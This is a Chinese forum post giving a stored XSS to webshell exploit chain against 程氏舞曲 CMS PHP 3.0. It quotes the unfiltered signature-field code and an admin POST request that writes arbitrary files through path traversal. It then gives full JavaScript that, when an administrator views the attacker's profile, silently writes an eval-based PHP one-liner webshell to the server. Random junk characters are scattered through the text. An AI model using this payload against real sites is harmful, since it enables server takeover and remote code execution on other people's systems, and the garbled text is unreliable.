程氏舞曲CMSPHP3.0 储存型xss getshell

admin

这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 # i, @7 d! V/ ^. f官网已经修补了，所以重新下了源码 因为 后台登入 还需要认证码 所以 注入就没看了。 , N  j, m1 h& u" [4 ]; F: h存在 xss 漏洞文件 user/member/skin_edit.php - C0 r  X: v* M; ^本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名：    </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> * v$ e( M- H0 ~2 L5 U   & V& W2 U% h! `- S. ]% ~1 I</textarea></td></tr>    * j2 p$ Y( U0 R+ B) e             user/do.php ; a3 d8 |; v: {' E% [1 H if($op=='zl'){ //资料 % K2 z* }+ s, a% T6 b% h/ @1 ~6 C   ; Y( k/ n5 _' o" R3 i+ s             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) % _- C  B1 ?* L* E% ^. R             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));                 $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',                 CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'              where CS_Name='".$cscms_name."'";    3 F1 ^4 q* q" f. |# k4 L1 a             if($db->query($sql)){    6 C* q; V9 D8 T9 Q% c              exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);'));    ) W8 q* ]9 l) `: Y9 H; j9 x             }else{    ( T8 \5 B( H7 J5 s, \8 k- s5 t! s              exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);')); # n( O8 w* w0 w2 o, U/ Q* `                } 7 ?$ u) B; y: a- h 没有 过滤导致xss产生。 , M7 M4 t% M' x后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。 9 L+ Z/ Z( Y8 ], I + G; g& z" F: L$ E4 ^5 u4 O 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 + a( t2 P) M8 {6 u5 [   Accept: text/html, application/xhtml+xml, */* 5 U) k. d* m  ?0 m9 P( o* _   , B9 u5 y' E: T9 X8 EReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php 2 O# K8 H* }; Z# c( u  o8 g/ e7 C  U   # a% Z7 @: s$ R$ ZAccept-Language: zh-CN $ ?. F) ?+ {' q; ?6 a   4 N* Y7 t- ~" H0 E2 b" @User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)    Content-Type: application/x-www-form-urlencoded    Accept-Encoding: gzip, deflate    - Y& d! z: h6 c+ U; s% T3 I( Y" l) \3 `Host: 127.0.0.1 / G- Q2 f7 c% C) s; Y& _   Content-Length: 38    9 y" a+ t! v: bDNT: 1 ) f" w; M' D  V! E   * ~9 @9 K* [) IConnection: Keep-Alive    ; {4 f( x' k/ Q5 V7 h8 lCache-Control: no-cache ! H" A. Z! J% q- _   Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594    name=aaa.php&content=%3Cs%3E%3Ca%25%3E   {8 g% ~; b3 y6 p , L! ?0 k4 ]' H ; v+ x4 H, t, w2 A8 ~( s 于是 构造js如下。 : }; G: w4 p3 J9 |5 v# T 7 R, A0 r% H' M. Z2 x本帖隐藏的内容<script> thisTHost = top.location.hostname;    % p& E# M1 |0 U* Q4 k: lthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";    function PostSubmit(url, data, msg) { / U: O2 _- B- v7 l, ~9 o; j    var postUrl = url; 8 G+ i/ y& \- U; U, o; m   $ l; d# f  v" o3 V$ z. }; U    var postData = data; 1 C1 V( k4 U( L4 |! y4 T* Y% r- l    var msgData = msg; , i# B/ t1 f; j- g2 q    var ExportForm = document.createElement("FORM"); & c/ q# c/ N* H; P0 D  X    document.body.appendChild(ExportForm); ' |$ y& E! [- P    ExportForm.method = "POST"; % v# t2 g8 U9 Q/ f( u. r    var newElement = document.createElement("input"); ! t& ~+ @- B% z0 w0 X* k, O    newElement.setAttribute("name", "name");     newElement.setAttribute("type", "hidden");     var newElement2 = document.createElement("input");     newElement2.setAttribute("name", "content"); 0 p1 H- G/ m! `1 D    newElement2.setAttribute("type", "hidden");     ExportForm.appendChild(newElement);     ExportForm.appendChild(newElement2);     newElement.value = postData; * _& c3 j5 x- C* P4 z: G    newElement2.value = msgData;     ExportForm.action = postUrl;     ExportForm.submit(); }; / D+ H- E3 X3 j+ {   1 Q6 p2 S+ I( k8 {& h& i6 X) ZPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");    ; j9 _7 f3 I; s: n</script> ( |+ S; _; ?& z   B* v& ]- c7 R& Y+ Q$ X 9 f9 s+ v: h( c& P) O' J 6 T$ V, J* z  u* a- [, Uhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改） 1 s+ U2 _) T3 z就会 在 skins\index\html\目录下生成 roker.php 一句话。